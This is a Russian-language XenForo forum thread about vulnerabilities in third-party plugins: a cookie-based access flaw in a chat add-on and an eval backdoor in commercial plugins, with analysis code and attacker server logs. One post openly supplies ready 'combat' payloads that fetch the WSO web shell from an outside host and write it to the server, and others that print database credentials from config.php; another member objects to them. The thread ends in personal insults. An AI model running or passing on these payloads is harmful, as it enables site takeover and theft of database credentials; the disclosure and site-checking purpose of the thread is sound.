1. Приветствуем Вас на неофициальном форуме технической поддержки XenForo на русском языке. XenForo - коммерческий форумный движок от бывших создателей vBulletin, написанный на PHP.

Поговорим о уязвимостях в плагинах для XenForo

Тема в разделе "OFF-топик", создана пользователем Oleg-2012, 13.12.2015.

Загрузка
Статус темы:
Закрыта.
  1. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    Всем привет !

    XenForo сейчас стал очень популярным, особенно все говорят какой-же он безопасный, под безопасностью в данном случае будем понимать защиту от потенциальных XSS-атак, SQL injection, PHP injection и даже от атак спамеров...

    В принципе всё так и есть, ведь не случайно многие хак. сайты и сайты посвященные IT-безопасности стали выбирать именно XenForo !

    Но есть одно большое НО:

    Плагины для этого движка оставляют желать лучшего, приведу примеры нескольких плагинов о уязвимостях которых уже было известно, а также уязвимость в чате от Siropu которая была обнаружена нами...

    Итак, приведу только часть плагинов которые мне известны и наделали "Шума" в сети:

    1)Все плагины от Viodeli, начиная от плагина хайда, до плагина совместных закупок, имели в себе руткит, который позволял при помощи специального запроса делать что угодно с сайтом, начиная от выкачки/удаления базы данных и заканчивая внедрения в сайт своего шелла например...

    В данном случае автор сделал это намеренно, но этот способ оказался в руках "Хакеров", а что хуже всего вандалов, которые много сайтов "положили", кого-то шантажировали и т.д.

    Уж незнаю чем руководствовался автор, когда делал этот функционалл в своём плагине... :(


    2)Неприятная уязвимость была в популярном плагине XenTag, где из-за того-что не фильтровались спец. символы в поиске тегов, можно провести было XSS-атаку, а за ней и CSRF со всеми вытикающими последствиями.

    3)Теперь хочу рассказать про интересный баг в чате от Siropu, который был обнаружен совсем недавно, автору пока не сообщал, ибо мне непонятно сделано-ли это намеренно, или всё-же из-за головотяпства...

    Итак, в чём-же баг:

    В этом чате можно создавать комнаты, которые могут-быть закрыты по группам, запаролены и т.д.

    Так-вот, для проверки захода в комнату использовалась кука xf_chatRoom и каких-то доп. проверок не было...

    Т.е. если добавить куку xf_chatRoom или отредактировать значение на нужное нам, если список чата виден, то ID комнаты видно в списке, в противном случае подбираем и заходим в защищенную комнату, вот как это происходит на видео:



    Мы начили разбираться и оказалось что это появились в новых версиях, по крайне мере в версии 1.17.х не было этого...

    Итак приведу участок уязвимого кода, где как-раз и идёт получение ID-комнаты:

    PHP:
     protected function _getRoomID($validate true)
        {
            
    $roomReqId $this->_input->filterSingle('room'XenForo_Input::STRING);
            
    $roomId    is_numeric($roomReqId) ? $roomReqId $this->_input->filterSingle('room_id'XenForo_Input::UINT);

            if (
    $this->_input->filterSingle('embedded'XenForo_Input::UINT) && !$roomReqId)
            {
                return 
    $roomId;
            }

            if (
    $validate)
            {
                if (
    $roomIdCookie XenForo_Helper_Cookie::getCookie('chatRoom'))
                {
                    if (
    $roomIdCookie != $roomId)
                    {
                        
    $roomId $roomIdCookie;
                    }
                }
                else if (
    $session $this->_getModel()->getSession($this->_getUID()))
                {
                    
    $roomId $session['user_room_id'];
                    
    $this->_getHelper()->setRoomCookie($roomId);
                }
            }

            return 
    $roomId;
        }
    Крайне не понятно зачем тут $validate = true, который практически нигде и не используется ?

    Ну и сразу бросается в глаза проверка:

    if ($validate)

    Ну явно тут что-то пропущено, вопрос только намеренно-ли ?

    Более правильный вот такой код:

    if ($validate && $roomId)

    В общем-то в старой версии плагина, так и было сделано, НО зачем автор убрал это в новых версиях, непонятно !

    Интересно ваше мнение по теме и в частности про плагин от Siropu, как уже сказал о баге пока не сообщал и думаю есть-ли смысл ?

    В принципе кому не сложно, сообщите, т.к. у меня языковой барьер ! :(
     
    xsacha, Kolya groza morey, Romchik® и 3 другим нравится это.
  2. Romchik®

    Romchik® The Power of Dreams Команда форума

    Регистрация:
    26.09.10
    Сообщения:
    5 746
    Симпатии:
    5 311
    Версия XF:
    1.5.18
    Сообщить конечно же нужно, хватит одного предложения и ссылки на видео. Вряд ли он сделал это намерянно, обычный недочет.
    Зачем в видео такого рода музыка? Лишний повод ютубу для блокировки видео.
     
    Oleg-2012 нравится это.
  3. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    Я ему сообщил вчера вечером:https://xenforo.com/community/threads/chat-by-siropu-paid.99281/page-78

    Но он с первого раза не понял, сказал что это небаг, сейчас зделал вторую попытку, выложил видео и привёл участок уязвимого кода...

    Если и сейчас не поймёт, то я незнаю ! :(
     
  4. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    Автор поправил в новой версии, в целом быстро, молодец... :)
     
    xsacha нравится это.
  5. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    С Вашего позволения подниму ещё раз тему, ибо совершенно случайно наткнулся на пост здесь !

    К сожалению там ответить не могу, т.к. после регистрации нет прав отвечать, а т.к. задела эта фраза:

    Видно данному товарищу нехватило смелости ответить здесь ! :)

    Посему давайте проанализируем код сего замечательного плагина, вернее плагинов, ибо как я сказал это встроено во все его платные плагины, итак:

    Код бэкдора: /library/Esthetic/EBBC/ControllerPublic/Thread.php

    Анализ кода на примере одного из аддонов (он повторяется в нескольких его аддонах подряд):

    PHP:
    $request = new Zend_Controller_Request_Http ( ); // создается новый объект, отражающий текущий запрос
    if ($request->getParam('filter')) { // проверка наличия параметра filter в запросе

    $_request $request->getParam('filter');

    switch (
    md5 ($_request)) { // этот filter хешируется, и на основе хеша

    case '54626eee0bcb90ab43c7917eb49f2344'// хеш какой-то строки
    case 'a6746afee9fa4e6e4901943d47f272bf'// хеш какой-то другой строки

    /**
    * Удаление меток bb-кодов, опредеяющих сообщения текущего пользователя(для отображения скрытого контента своих сообщений)
    */
    $request preg_replace_callback ('/query/'create_function ('$matches'$_request), $_request); // нихуя не удаление меток, тут из filter'а берется код и из него создается функция, затем используется как каллбек для preg_replace_callback
    break;

    default:
    $request 'all'// хренота для наеба, если кто-то вдруг начнет копать
    }
    }
    ТЕПЕРЬ АНАЛИЗ ОДНОГО ВЗЛОМАННОГО САЙТА, ЧЕРЕЗ ЭТОТ ПЛАГИН:

    При долбёжке могут возникать следующие ошибки:

    PHP:
    passthru() has been disabled for security reasons
    library
    /Esthetic/CS/Model/Thread.php(50) : runtime-created function(1) : eval()'d code:1
    Содержимое запроса:

    PHP:
    array(3) {
    [
    "url"] => string(264"http://вас сайт/бла/бла/?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die(passthru(%27tar%20-cvvzf%20foo.tar.gz%20./library%27));"
    ["_GET"] => array(2) {
    [
    "filter"] => string(78"$request=new Zend_Controller_Request_Http();eval($request->getParam("query"));"
    ["query"] => string(49"die(passthru('tar -cvvzf foo.tar.gz ./library'));"
    }
    [
    "_POST"] => array(0) {
    }
    }

    RecursiveDirectoryIterator::__construct(./cgi): failed to open dirPermission denied
    library
    /Esthetic/CS/Model/Thread.php(50) : runtime-created function(1) : eval()'d code:1
    В логах сервера такие записи:

    Код:
    **** - - [****] "POST /brivium-modern-statistic/statistics.json HTTP/1.0" 200 15120 "http://site.ru/" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36"
    
    **** - - [****] "POST /deferred.php HTTP/1.0" 200 21 "http://site.ru/threads/premium-shablon-dw-jason-boots.." "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36"
    
    **** - - [****] "GET /threads/premium-shablon-dw-jason-bootstrap-3-bonusy.792/?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die(passthru(%27dir%27)); HTTP/1.0" 200 438 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36"
    
    **** - - [****] "GET /threads/premium-shablon-dw-jason-bootstrap-3-bonusy.792/?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die(passthru(%27rm%20foo.tar.gz%27)); HTTP/1.0" 200 0 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36"
    
    **** - - [**** "GET /threads/premium-shablon-dw-jason-bootstrap-3-bonusy.792/?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die(passthru(%27rm%20dir%27)); HTTP/1.0" 200 0 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36"
    
    **** - - [****] "GET /threads/premium-shablon-dw-jason-bootstrap-3-bonusy.792/?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die(passthru(%27dir%27)); HTTP/1.0" 200 421 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36"
    
    **** - - [****] "GET /threads/premium-shablon-dw-jason-bootstrap-3-bonusy.792/?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die(passthru(%27tar%20-cvvzf%20foo.tar.gz%20./library%27)); HTTP/1.0" 200 307531 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36"
    
    **** - - [****] "GET /foo.tar.gz HTTP/1.0" 200 2802968 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36"
    
    *** - - [***] "GET /threads/premium-shablon-dw-jason-bootstrap-3-bonusy.792/?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die(passthru(%27rm%20foo.tar.gz%27)); HTTP/1.0" 200 0 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36"
    
    **** - - [****] "GET /threads/premium-shablon-dw-jason-bootstrap-3-bonusy.792/?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die(passthru(%27dir%27)); HTTP/1.0" 200 421 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36"
    

    В серии запросов был скачан дамп базы, поздравляем.

    Ещё пара наводящих вопросов:

    1. Как этот бекдур мог защитить авторские права ?

    2. Почему автор плагина, цена которых зашкаливает за 300 баксов, даже неудосужился разместить на офф. ресурсе, это тоже защита авторского права ?

    ИТОГИ:

    1. Старайтесь покупать/качать плагины с офф. ресурсов (xenforo.com), там больше людей скачают/проанализируют плагины;

    2. Разумеется в нуллах могут-быть трояны, да и вообще если есть возможность нужно благодарить разработчиков за труд;

    3. НИКОГДА не пользуйтесь плагинами от авторов с сомнительной репутацией.

    У меня всё ! ;)
     
    xsacha, Romchik® и SAS1024 нравится это.
  6. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    Добавлю ещё, что юзать данный бекдур ОЧЕНЬ просто:

    Например:
    PHP:
     http://mysite.ru/threads/77/?filter=$request=new Zend_Controller_Request_Http();eval($request->getParam("query"));&query=die('yes'); 
    Как видим к урлу любой темы подставляется:
    PHP:
    ?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die('yes');
    Если форум уязвим появится надпись yes, выведеная php командой Die

    Теперь напишу несколько боевых кодов:

    - Заливка шелла:
    PHP:
    ?filter=$request=new+Zend_Controller_Request_Http();eval($request->getParam("query"));&query=$url "https://wso-web-shell-2-8.googlecode.com/svn/WSO2.8.php";$content file_get_contents($url);$h fopen("shells.php","w");$text "$content";fwrite($h,$text);fclose($h); 
    После исполнения кода, если позволяют права, шелл будет доступен по адресу : форум.com/shells.php

    Смотрим конфиг:
    HTML:
    ?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=echo%20file_get_contents(%22./library/config.php%22);%20exit();
    Но способ выше может не работать.

    Если он не работает юзаем:
    HTML:
    ?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=include './library/config.php';die( $config['db']['host']);
    При данном коде покажется хост базы данных.

    Для просмотра других данных меняем:

    host на:
    • dbname - имя базы
    • password - пароль юзера
    • username - юзер

    Вобщем если вы умелый PHP кодер то поняли что, после &query= идет пхп код.

    Т.е.
    PHP:
    ?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=здесь пхп код

    Вот такая-вот защита авторского права ! :)
     
    xsacha и SAS1024 нравится это.
  7. CyberAP

    CyberAP Местный

    Регистрация:
    05.10.10
    Сообщения:
    2 604
    Симпатии:
    1 660
    Версия XF:
    1.5.10
    Всё-таки, боевые запросы я бы убрал, не надо всем подряд знать как взломать форум.
     
    Oleg-2012 нравится это.
  8. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    Ну эти запросы на каждом втором хак. ресурсе уже, к тому-же автор в новой версии профиксил что-то, вернее убрал один шелл, но оставил другой, менее опасный...:D:eek:

    Можете убрать боевые коды, оставьте только как проверить свой сайт, ибо здесь не хак. ресурс-же !

    К сожалению не могу отредактировать уже сообщение ! :(
     
    xsacha и Dexter Morgan нравится это.
  9. Dexter Morgan

    Dexter Morgan Местный

    Регистрация:
    30.08.15
    Сообщения:
    14
    Симпатии:
    2
    Версия XF:
    1.5.11
    Вот и лжец автор @Oleg-2012 c сомнительной репутацией объявился. :)
    Что даже свою ру сферу - прикрыл сразу, или уже так скучно стало что за дудосил Инну ака Soul с ксенфоротест и та девочка админка уже выгнала? :eek::D
    по последней сетевой активности от 08.01.18
     
  10. SrDEN

    SrDEN Местный

    Регистрация:
    29.08.14
    Сообщения:
    117
    Симпатии:
    54
    Версия XF:
    1.5.0
    А вы знатный археолог, да еще и с 3-я классами образования.

    Не надо писать о том чего не знаете.
     
    Oleg-2012 нравится это.
  11. Dexter Morgan

    Dexter Morgan Местный

    Регистрация:
    30.08.15
    Сообщения:
    14
    Симпатии:
    2
    Версия XF:
    1.5.11
    Археология — наука знатная, изучает вымирающий подтип но такого индивида как Oleg-2012, не для меня. Статья выше, — уровень троллинга не более

    Это вообще чушь собачья, будто вы осведомлены больше.:)
     
  12. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    Честно не понял суть его притензии ?

    Во первых Ру-Сфера работает, просто никто не знает как туда попасть. :)

    Во вторых, я что кому-то обязан ? У меня некомерческий ресурс был, захотел создал, захотел удалил.

    Учитывая, что никто из пользователей мне не помогал. :)

    Почему "был", потому-что да нет никакого желания делать что-то в этой теме.

    Про http://www.xf-russia.ru/forum/ никто меня не выгонял, просто потерял интерес к XenForo, так-же как и к вебу в целом, вполне успешно работаю в другой области IT на данный момент.

    В общем-то я и здесь не появлялся, просто письмо пришло из этой темы. Если есть вопросы, пишите в личку, либо на почту: ru-sphere.ru@mail.ru.

    Это площадка явно не место для обсуждения меня, или моего сайта.
    --- добавлено : Jun 24, 2018 12:05 PM ---
    Как-бы да, думаю он осведомлен больше. :)
     
    Последнее редактирование модератором: 02.07.2018
    xsacha нравится это.
  13. Dexter Morgan

    Dexter Morgan Местный

    Регистрация:
    30.08.15
    Сообщения:
    14
    Симпатии:
    2
    Версия XF:
    1.5.11
    в том что в ТС статья чушь полная., больше и понимать не нужно.
    это не важно, в своей песочнице играй самостоятельно. С медицинской т.з. - “онанизмом„ называется.

    И в чём же?
     
  14. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    На год статьи посмотри в начале.

    Вообще смысла общения с вами не вижу. Также в общем-то как и нахождения на этом ресурсе.

    Зря наверное ответил, хотя это и не важно. :)
     
    xsacha нравится это.
  15. xsacha

    xsacha Местный

    Регистрация:
    06.08.14
    Сообщения:
    76
    Симпатии:
    11
    Ты сперва доказательства приведи, что это чушь, а не пиши свои пустые слова и умозаключения, потом уже будешь утверждать в обратном.
     
    SrDEN нравится это.
  16. Dexter Morgan

    Dexter Morgan Местный

    Регистрация:
    30.08.15
    Сообщения:
    14
    Симпатии:
    2
    Версия XF:
    1.5.11
    Какие доказательства, если автор тут появился и опровергнул свою же глупость:
    Пятый год скрипт работает - официально куплен. Никаких бэкудров нет. Приносит доход по сей день.

    Автор только прекратил поддержку распространение в рунете estheticlabs.com не обслуживает по причине среди россиян массово аферистов и врунов много, среди них и сливатор
    • soul с ксенфоротеста.ру которая в свое время помогал этот дракон Oleg-2012 ничего не достигший в своей жизни, только муть поднимает в рунете.
     
  17. Oleg-2012

    Oleg-2012 Местный

    Регистрация:
    21.04.12
    Сообщения:
    700
    Симпатии:
    297
    @Dexter Morgan, елы-палы, что за бред вы несёте ?

    Домен estheticlabs.com выставлен на продажу, какой-то барыжной компанией, но не суть.

    Суть в том, кому из тех-же европейцев нужна эта извините за прямоту кривая и никому не нужная поделка ? :)

    Что за бред ?

    У вас хоть какие-то серьёзные проекты были ? Вы что серьёзно думаете, что владельцы серьёзных коммерческих сайты в РФ с нормальном заработком бегают по сайтам типо ксенфоротест и ищут где-бы скачать плагин ? :):eek::D

    Не, ну реально повеселили, я сейчас чуть со смеху не умер, не ну правда...:)

    И ещё вопрос, вам правда 44 года (посмотрел в профайле). Уж не позорились-бы.

    Извиняюсь перед администрацией ресурса, более в дискуссии вступать не буду.

    Несмог сдержаться просто.
     
    SrDEN и xsacha нравится это.
  18. Dexter Morgan

    Dexter Morgan Местный

    Регистрация:
    30.08.15
    Сообщения:
    14
    Симпатии:
    2
    Версия XF:
    1.5.11
    Наверное потому что, [ой] еще :rolleyes: подгузник с памперсами меняй перед сном
    Олежка, в том что ты опозорился на весь рунет уже все поняли :)
    Ну вот в ЛС и потрынди на досуге с этой не адекватной девочкой Инной ака Soul :ninja:
     
  19. SrDEN

    SrDEN Местный

    Регистрация:
    29.08.14
    Сообщения:
    117
    Симпатии:
    54
    Версия XF:
    1.5.0
    Если не хватает образования понять смысл статьи, то это ваша проблема.

    Олег лишь указал, что статье уже 3-ий год и нет смысла холивар разводить, т.к. во первых баги уже исправлены, а во вторых у вас головушка не пропатчена.

    То что у вас на сайте не появилось фразы дефейсед бай Вася Пупкин, не говорит о том что вас не ломали, да и скорее всего ваш ресурс просто ни кому не нужен (тут анекдот про неуловимого Джо).

    ...
     
  20. Dexter Morgan

    Dexter Morgan Местный

    Регистрация:
    30.08.15
    Сообщения:
    14
    Симпатии:
    2
    Версия XF:
    1.5.11
    Это вы про g0vn0-cайт: ru-sphere.ru или как писал выше слил в сортир ака только для своих @Oleg-2012 или песочницу от невменяемой АдминкА Соул :D:confused:
    В отличии от xf-russia.ru,
    свой какирский опыт только подтвердил этому и есть подтверждающий факт
    с первого поста Поговорим о уязвимостях в плагинах для XenForo не важно какая дата, важно какой из него эксперт в будущем будет.
     
Статус темы:
Закрыта.

Поделиться этой страницей